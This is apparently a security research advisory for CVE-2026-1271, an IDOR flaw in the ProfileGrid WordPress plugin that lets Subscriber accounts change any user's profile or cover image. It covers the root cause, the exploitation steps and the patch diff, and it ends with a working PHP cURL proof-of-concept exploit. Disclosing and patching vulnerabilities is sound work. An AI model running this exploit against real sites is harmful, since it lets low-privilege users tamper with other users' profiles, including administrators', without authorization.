Atomic Edge analysis of CVE-2026-1271:
This vulnerability is an Insecure Direct Object Reference (IDOR) in the ProfileGrid WordPress plugin, affecting versions up to and including 5.9.7.2. The flaw allows authenticated attackers with Subscriber-level access or higher to modify the profile and cover images of any user, including administrators.
Root Cause:
The vulnerability originates in the `public/partials/crop.php` and `public/partials/coverimg_crop.php` files. These files handle AJAX requests for the `pm_upload_image` and `pm_upload_cover_image` actions. The flawed authorization logic only checked if the submitted `user_id` parameter matched the current user’s ID (`$post[‘user_id’]==$current_user->ID`). This check was performed inconsistently across different request statuses (‘cancel’, ‘save’, default). Crucially, the `update_user_meta()` function call, which persists the new image attachment ID to the database, was placed outside the scope of a proper authorization check. An attacker could submit a request with a different target `user_id` to bypass the check and modify another user’s metadata.
Exploitation:
An attacker with a valid WordPress authentication cookie (Subscriber role or higher) sends a POST request to `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to either `pm_upload_image` or `pm_upload_cover_image`. The attacker includes a manipulated `user_id` parameter set to the ID of the victim user. For the ‘save’ status, the request also includes parameters like `x`, `y`, `w`, `h`, `fullpath`, and `attachment_id` to define the image crop. The server processes the request, passes the weak authorization check, and executes `update_user_meta($post[‘user_id’],’pm_user_avatar’,$post[‘attachment_id’])` for the victim’s account.
Patch Analysis:
The patch in version 5.9.7.3 introduces a centralized authorization variable `$is_authorized`. This variable is defined at the start of both crop files. It validates that the `target_user_id` from the request is greater than zero and that the current user either owns that ID, has the `manage_options` capability, or is a super admin. This authorization check (`$is_authorized`) is then enforced before processing any request status (‘cancel’, ‘save’, default) via early exit statements (`wp_send_json_error`). The patch also moves the `update_user_meta()` calls inside the guarded code blocks, ensuring they only execute for authorized requests. The fix consolidates and strengthens authorization across all code paths.
Impact:
Successful exploitation allows an attacker to deface user profiles by setting arbitrary profile or cover images. This can lead to reputational damage, social engineering attacks, or harassment. While the vulnerability does not directly grant administrative privileges, modifying an administrator’s public profile could be used in a broader attack chain to undermine trust or facilitate phishing. The attack requires a low-privilege authenticated account, increasing its risk in multi-user WordPress installations.
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
* Plugin Name: ProfileGrid
* Plugin URI: http://profilegrid.co
* Description: ProfileGrid adds user groups and user profiles functionality to your site.
- * Version: 5.9.7.2
+ * Version: 5.9.7.3
* Author: ProfileGrid User Profiles
* Author URI: https://profilegrid.co
* License: GPL-2.0+
@@ -28,7 +28,7 @@
*/
define('PROGRID_DB_VERSION',4.4);
-define('PROGRID_PLUGIN_VERSION','5.9.7.2');
+define('PROGRID_PLUGIN_VERSION','5.9.7.3');
define('PROGRID_MULTI_GROUP_VERSION', 3.0);
--- a/profilegrid-user-profiles-groups-and-communities/public/partials/coverimg_crop.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/partials/coverimg_crop.php
@@ -5,12 +5,19 @@
$uploads = wp_upload_dir();
$pm_sanitizer = new PM_sanitizer();
$post = $pm_sanitizer->sanitize( $_POST );
+$target_user_id = isset( $post['user_id'] ) ? intval( $post['user_id'] ) : 0;
+// Only the profile owner or an admin/super admin can change cover images.
+$is_authorized = ( $target_user_id > 0 ) && ( $target_user_id === (int) $current_user->ID || current_user_can( 'manage_options' ) || is_super_admin() );
$allowed_ext ='jpg|jpeg|png|gif|webp|avif';
$targ_w = $targ_h = 150;
$jpeg_quality = intval($dbhandler->get_global_option_value('pg_image_quality','90'));
switch($post['cover_status']) {
case 'cancel' :
- if ($post['user_id']==$current_user->ID ) {
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
+ if ( $is_authorized ) {
$delete = $pmrequests->pg_delete_attachment( $post['attachment_id'] );
die;
}
@@ -18,6 +25,10 @@
case 'save' :
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
if(isset($post['fullpath'])){
$valid_fullpath = $pmrequests->pg_file_fullpath_validation($post['fullpath']);
@@ -29,7 +40,7 @@
$image_attribute = wp_get_attachment_image_src($post['attachment_id'],'full');
$image_url = ( is_array( $image_attribute ) && isset( $image_attribute[0] ) ) ? $image_attribute[0] : wp_get_attachment_url( $post['attachment_id'] );
$basename = basename($post['fullpath']);
- $can_process_image = ( ! is_wp_error( $image ) && $post['user_id']==$current_user->ID );
+ $can_process_image = ( ! is_wp_error( $image ) && $is_authorized );
if ( $can_process_image ) {
$crop_result = $image->crop( $post['x'], $post['y'], $post['w'], $post['h'], $post['w'], $post['h'], false );
@@ -57,6 +68,7 @@
$basename = basename( $image_url ? $image_url : $post['fullpath'] );
}
+ // Keep update_user_meta scoped to authorized requests only.
update_user_meta($post['user_id'],'pm_cover_image',$post['attachment_id']);
do_action('pm_update_cover_image',$post['user_id']);
echo "<img id='coverphotofinal' file-name='".esc_attr($basename)."' src='".esc_url($image_url)."' class='preview'/>";
@@ -66,7 +78,11 @@
break;
default:
- if($post['user_id']==$current_user->ID)
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
+ if ( $is_authorized )
{
$filefield = $_FILES['coverimg'];
$minimum_width = trim($dbhandler->get_global_option_value('pg_cover_photo_minimum_width','DEFAULT'));
--- a/profilegrid-user-profiles-groups-and-communities/public/partials/crop.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/partials/crop.php
@@ -5,13 +5,20 @@
$uploads = wp_upload_dir();
$pm_sanitizer = new PM_sanitizer();
$post = $pm_sanitizer->sanitize( $_POST );
+$target_user_id = isset( $post['user_id'] ) ? intval( $post['user_id'] ) : 0;
+// Only the profile owner or an admin/super admin can change profile images.
+$is_authorized = ( $target_user_id > 0 ) && ( $target_user_id === (int) $current_user->ID || current_user_can( 'manage_options' ) || is_super_admin() );
$allowed_ext ='jpg|jpeg|png|gif|webp|avif';
$filefield = isset( $_FILES['photoimg'] ) ? $_FILES['photoimg'] : array();
$targ_w = $targ_h = 150;
$jpeg_quality = intval($dbhandler->get_global_option_value('pg_image_quality','90'));
switch($post['status']) {
case 'cancel' :
- if ($post['user_id']==$current_user->ID) {
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
+ if ( $is_authorized ) {
$delete = $pmrequests->pg_delete_attachment( $post['attachment_id'] );
die;
@@ -19,6 +26,10 @@
break;
case 'save' :
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
if(isset($post['fullpath'])){
$valid_fullpath = $pmrequests->pg_file_fullpath_validation($post['fullpath']);
@@ -36,7 +47,7 @@
$image = wp_get_image_editor($image_path);
$basename = basename($post['fullpath']);
- $can_process_image = ( $post['user_id'] == $current_user->ID && $post['user_meta']=='pm_user_avatar' && ! is_wp_error( $image ) );
+ $can_process_image = ( $is_authorized && $post['user_meta']=='pm_user_avatar' && ! is_wp_error( $image ) );
if ( $can_process_image ) {
$crop_result = $image->crop( $post['x'], $post['y'], $post['w'], $post['h'], $post['w'], $post['h'], false );
@@ -70,6 +81,7 @@
$basename = basename( $image_url ? $image_url : $image_path );
}
+ // Keep update_user_meta scoped to authorized requests only.
update_user_meta($post['user_id'],'pm_user_avatar',$post['attachment_id']);
do_action('pm_update_profile_image',$post['user_id']);
echo "<img id='photofinal' file-name='".esc_attr($basename)."' src='".esc_url($image_url)."' class='preview'/>";
@@ -79,11 +91,15 @@
break;
default:
+ if ( ! $is_authorized ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized request.' ) );
+ exit;
+ }
if ( empty( $filefield ) ) {
esc_html_e( 'No file uploaded.', 'profilegrid-user-profiles-groups-and-communities' );
die;
}
- if($post['user_id']==$current_user->ID)
+ if ( $is_authorized )
{
$minimum_require = $pmrequests->pm_get_minimum_requirement_user_avatar();
$filefield = $_FILES['photoimg'];
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1271 - ProfileGrid <= 5.9.7.2 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary User Profile and Cover Image Modification
<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$attacker_cookie = 'wordpress_logged_in_abc=...'; // Valid auth cookie for a Subscriber user
$victim_user_id = 1; // ID of the admin user whose image will be changed
$attachment_id = 123; // ID of an existing image attachment in the media library
// Craft the malicious AJAX request to change the profile picture.
$post_data = array(
'action' => 'pm_upload_image',
'user_id' => $victim_user_id,
'status' => 'save',
'attachment_id' => $attachment_id,
'fullpath' => '/path/to/image.jpg', // Path to the attachment file
'x' => 0,
'y' => 0,
'w' => 150,
'h' => 150,
'user_meta' => 'pm_user_avatar'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: ' . $attacker_cookie
));
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check result
if ($http_code == 200 && strpos($response, 'photofinal') !== false) {
echo "[+] Success! Profile image for user ID $victim_user_id has been modified.n";
echo "Response snippet: " . htmlspecialchars(substr($response, 0, 200)) . "n";
} else {
echo "[-] Exploit failed. HTTP Code: $http_coden";
echo "Response: " . htmlspecialchars($response) . "n";
}
?>